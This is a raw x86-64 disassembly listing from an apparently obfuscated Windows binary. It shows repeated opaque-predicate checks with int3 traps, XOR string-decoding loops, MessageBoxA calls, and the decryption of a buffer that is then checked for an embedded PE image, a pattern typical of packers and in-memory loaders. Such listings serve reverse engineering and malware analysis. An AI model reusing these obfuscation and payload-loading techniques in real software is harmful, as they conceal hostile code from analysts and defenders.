mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140022ff8
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140022ff8
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023018
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rdi, qword [rbp + 0x10f8]
lea rcx, [rbp + 0x10e8]
call fcn.140030320
mov rdx, rax
mov r8, rdi
mov rcx, rbx
call fcn.1400b82d0
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x1400230e3
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400230c3
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400230c3
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400230e3
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x1400231a2
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x99c26a5
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x32c09527
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x1a369f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023182
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023182
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400231a2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
xor edx, edx
lea rcx, [rbp + 0x10e8]
call fcn.140030a1c
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x14002325a
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002323a
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002323a
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002325a
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x140023304
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400232e4
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400232e4
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023304
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
movabs rax, 0xaa3266487a0948
mov qword [rsp + 0x70], rax
movabs rax, 0xffecca5938aa0d
mov qword [rbp + 0xf50], rax
mov qword [rbp + 0xfe8], r15
mov r8d, r15d
mov rdi, r15
lea eax, [r8 + 1]
mov r8d, eax
movzx ecx, byte [rsp + rdi + 0x70]
imul ecx, eax
movzx eax, byte [rbp + rdi + 0xf50]
xor ecx, eax
mov eax, 0x80808081
imul ecx
add edx, ecx
sar edx, 7
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0xff
sub ecx, eax
mov byte [rbp + rdi + 0xfe8], cl
inc rdi
cmp r8d, 8
jb 0x140023331
mov esi, r15d
movabs r11, 0x8080808080808081
test r14, r14
je 0x140023457
mov rcx, r15
mov rax, r11
mul r14
mov r8, rdx
shr r8, 7
add r8b, r14b
mov r9, rbx
mov r13, r11
and ecx, 7
movzx edi, byte [rbp + rcx + 0xfe8]
mov r10b, r8b
xor r10b, dil
mov r15d, edi
xor r11d, r11d
lea rbx, [rbp + 0xfe8]
movzx ecx, byte [rbx]
movzx eax, dil
add rcx, rax
xor rcx, qword [rbp + 0xfe8]
mov rax, r13
imul rcx
add rdx, rcx
sar rdx, 7
mov rax, rdx
shr rax, 0x3f
add rdx, rax
imul rax, rdx, 0xff
mov rdi, rcx
sub rdi, rax
inc r11d
inc rbx
cmp r11d, 8
jb 0x1400233c2
movzx ecx, r10b
add ecx, r15d
movzx eax, dil
add ecx, eax
mov eax, 0x80808081
mul ecx
shr edx, 7
imul eax, edx, 0xff
sub ecx, eax
xor dil, byte [r9]
sub dil, cl
mov byte [r9], dil
inc esi
inc r9
movsxd rcx, esi
cmp rcx, r14
jb 0x1400233a4
mov rbx, qword [rbp - 0x40]
xor r15d, r15d
movabs r13, 0xfec17db8b17547b5
movabs r11, 0x8080808080808081
mov rax, qword gs:[0x31]
mov esi, 0x99c26a5
mov r14d, 0x32c09527
mov edi, 0x1a369f55
cmp rax, r12
jne 0x14002351e
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, esi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, r14d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400234fe
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400234fe
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002351e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x1400235c8
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400235a8
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400235a8
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400235c8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x140023681
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023661
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023661
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023681
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
mov ecx, 0x5a4d
cmp word [rbx], cx
je 0x140023a6e
cmp rax, r12
jne 0x14002373e
mov rax, qword gs:[0x13]
mov ecx, 0xb8e53625
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002371e
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002371e
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002373e
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.140095818
int3
movdqa xmm0, xmmword [0x1400d7140]
movdqu xmmword [rbp + 0x290], xmm0
mov word [rbp + 0x2a0], reloc.WLDAP32.dll_Ordinal_35
mov r10, r15
movabs rbx, 0x1545644e5
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x1699ba9335
movabs r9, 0x2d3375266a
movabs r12, 0x8080808080808081
mov cl, r10b
and cl, 7
shl cl, 3
movabs rdi, 0x1545644e4
shr rdi, cl
mov rax, r12
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r12
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x290], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x140023788
mov byte [rbp + 0x2a1], r15b
movdqa xmm0, xmmword [0x1400d70f0]
movdqu xmmword [rbp + 0xc58], xmm0
movdqa xmm1, xmmword [0x1400d6ef0]
movdqu xmmword [rbp + 0xc68], xmm1
movdqa xmm0, xmmword [0x1400d6eb0]
movdqu xmmword [rbp + 0xc78], xmm0
mov dword [rbp + 0xc88], 0xf3974114
mov dword [rbp + 0xc8c], 0xd7318e8f
mov dword [rbp + 0xc90], 0x474764e4
mov word [rbp + 0xc94], __WSAFDIsSet
mov r9, r15
mov r10d, 0x3d
movabs r8, 0x51188e6a91
movabs r11, 0xa2311cd522
mov r12d, 0x6f1d50f3
movabs r13, 0x8080808080808081
mov cl, r9b
and cl, 7
shl cl, 3
movabs rdi, 0x1545644e4
shr rdi, cl
mov rax, r13
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r13
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc58], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x140023877
mov byte [rbp + 0xc95], r15b
xor r9d, r9d
lea r8, [rbp + 0x290]
lea rdx, [rbp + 0xc58]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x31]
cmp rax, r12
movabs r13, 0xfec17db8b17547b5
jne 0x1400239af
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r13
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002398f
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002398f
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400239af
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rcx, qword gs:[0x31]
cmp rcx, r12
jne 0x14002f4ec
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x1a369f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023a4e
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023a4e
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f4ec
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
cmp rax, r12
jne 0x140023b1e
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, r14
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023afe
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023afe
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023b1e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
movsxd r13, dword [rbx + 0x3c]
add r13, rbx
mov qword [rbp + 0xfe8], r13
mov rax, qword gs:[0x31]
mov r14d, 0xb8e53625
cmp rax, r12
jne 0x140023bdc
mov rax, qword gs:[0x13]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023bbc
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023bbc
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023bdc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
mov ecx, 0x20b
cmp word [r13 + 0x18], cx
je 0x140023fb4
cmp rax, r12
jne 0x140023c96
mov rax, qword gs:[0x13]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023c76
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023c76
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023c96
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
movdqa xmm0, xmmword [0x1400d7140]
movdqu xmmword [rbp + 0x3c8], xmm0
mov word [rbp + 0x3d8], reloc.WLDAP32.dll_Ordinal_35
mov r10, r15
movabs rbx, 0x1545644e5
mov r11d, reloc.WS2_32.dll_recvfrom
movabs r8, 0x1699ba9335
movabs r9, 0x2d3375266a
movabs r14, 0x8080808080808081
movabs r13, 0x1545644e4
mov cl, r10b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r14
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r14
mul r11
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r11
sub rcx, rax
xor dil, cl
xor dil, r10b
xor byte [rbp + r10 + 0x3c8], dil
inc r10
add r8, rbx
add r11, 0x11
cmp r8, r9
jb 0x140023cea
mov byte [rbp + 0x3d9], r15b
movdqa xmm0, xmmword [0x1400d70f0]
movdqu xmmword [rbp + 0xc98], xmm0
movdqa xmm1, xmmword [0x1400d6f00]
movdqu xmmword [rbp + 0xca8], xmm1
movdqa xmm0, xmmword [0x1400d6eb0]
movdqu xmmword [rbp + 0xcb8], xmm0
mov dword [rbp + 0xcc8], 0xf3974114
mov dword [rbp + 0xccc], 0xd7318e8f
mov dword [rbp + 0xcd0], 0x474764e4
mov word [rbp + 0xcd4], __WSAFDIsSet
mov r9, r15
mov r10d, 0x3d
movabs r8, 0x51188e6a91
movabs r11, 0xa2311cd522
mov cl, r9b
and cl, 7
shl cl, 3
mov rdi, r13
shr rdi, cl
mov rax, r14
mul r8
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r8
sub rcx, rax
xor dil, cl
mov rax, r14
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r9b
xor byte [rbp + r9 + 0xc98], dil
inc r9
add r8, rbx
add r10, 0x3d
cmp r8, r11
jb 0x140023dc2
mov byte [rbp + 0xcd5], r15b
xor r9d, r9d
lea r8, [rbp + 0x3c8]
lea rdx, [rbp + 0xc98]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x140023ef3
mov rax, qword gs:[0x13]
movabs rcx, 0xfec17db8b17547b5
xor rax, rcx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rcx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rcx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023ed3
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023ed3
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140023ef3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, r12
jne 0x14002f4ec
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, rsi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x32c09527
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x1a369f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140023f94
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140023f94
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002f4ec
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
movabs rbx, 0xfec17db8b17547b5
cmp rax, r12
jne 0x14002405f
mov rax, qword gs:[0x13]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002403f
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002403f
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002405f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1090], xmm0
mov qword [rbp + 0x10a0], rax
movdqa xmm1, xmmword [0x1400d6f60]
movdqu xmmword [rbp + 0x978], xmm1
mov dword [rbp + 0x988], 0xac523af5
mov dword [rbp + 0x98c], 0xf6a373d9
mov dword [rbp + 0x990], 0xfd89d072
mov word [rbp + 0x994], 0xb77e
mov byte [rbp + 0x996], al
mov r8, r15
movabs rsi, 0x1545644e4
lea r10d, [rax + 0x1e]
movabs r9, 0x27e21c12d6
movabs r12, 0x1545644e5
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0x978], dil
inc r8
add r9, r12
add r10, 0x1e
movabs rax, 0x4fc43825ac
cmp r9, rax
jb 0x1400240d4
mov byte [rbp + 0x996], r15b
lea rax, [rbp + 0x978]
mov qword [rbp + 0x220], rax
movdqa xmm0, xmmword [0x1400d71d0]
movdqu xmmword [rbp + 0xad8], xmm0
movdqa xmm1, xmmword [0x1400d6e90]
movdqu xmmword [rbp + 0xae8], xmm1
mov r8, r15
mov r10d, Ordinal_33
movabs r9, 0x29367257bb
movabs r14, 0x526ce4af76
mov cl, r8b
and cl, 7
shl cl, 3
mov rdi, rsi
shr rdi, cl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
mov rax, r11
mul r10
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r10
sub rcx, rax
xor dil, cl
xor dil, r8b
xor byte [rbp + r8 + 0xad8], dil
inc r8
add r9, r12
add r10, 0x1f
cmp r9, r14
jb 0x14002418d
mov byte [rbp + 0xaf7], r15b
lea rax, [rbp + 0xad8]
mov qword [rbp + 0x228], rax
lea rax, [rbp + 0x220]
mov qword [rbp + 0xf60], rax
lea rax, [rbp + 0x230]
mov qword [rbp + 0xf68], rax
movaps xmm0, xmmword [rbp + 0xf60]
movdqa xmmword [rbp + 0xf60], xmm0
lea r8, [rsp + 0x62]
lea rdx, [rbp + 0xf60]
lea rcx, [rbp + 0x1090]
call fcn.14002f4f8
mov rax, qword gs:[0x31]
mov esi, 0x6f1d50f3
cmp rax, rsi
mov r14d, 0xb8e53625
mov edi, 0x99c26a5
jne 0x14002430e
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x32c09527
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, 0x1a369f55
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400242ee
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400242ee
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002430e
mov rax, qword [rbp + 0xf38]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, rsi
jne 0x1400243b8
mov rax, qword gs:[0x13]
xor rax, rbx
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, rbx
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, rbx
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024398
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024398
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400243b8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
xor ecx, ecx
call fcn.140099f44
mov rcx, rax
call fcn.140095824
mov rax, qword gs:[0x31]
mov r8d, 0x32c09527
mov r9d, 0x1a369f55
cmp rax, rsi
jne 0x14002448c
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, r8d
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov eax, r9d
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14002446c
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14002446c
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14002448c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, rsi
jne 0x140024545
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, r9
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024525
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024525
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x140024545
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, rsi
jne 0x1400245fe
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, r8
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x13]
xor edx, edx
mov rax, r9
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x1400245de
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x1400245de
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400245fe
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, rsi
jne 0x1400246a8
mov rax, qword gs:[0x13]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024688
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x140024688
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x1400246a8
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.140095818
int3
mov rax, qword gs:[0x31]
cmp rax, rsi
jne 0x140024752
mov rax, qword gs:[0x13]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x13]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x13]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x13]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x140024732
mov rcx, qword gs:[0x13]
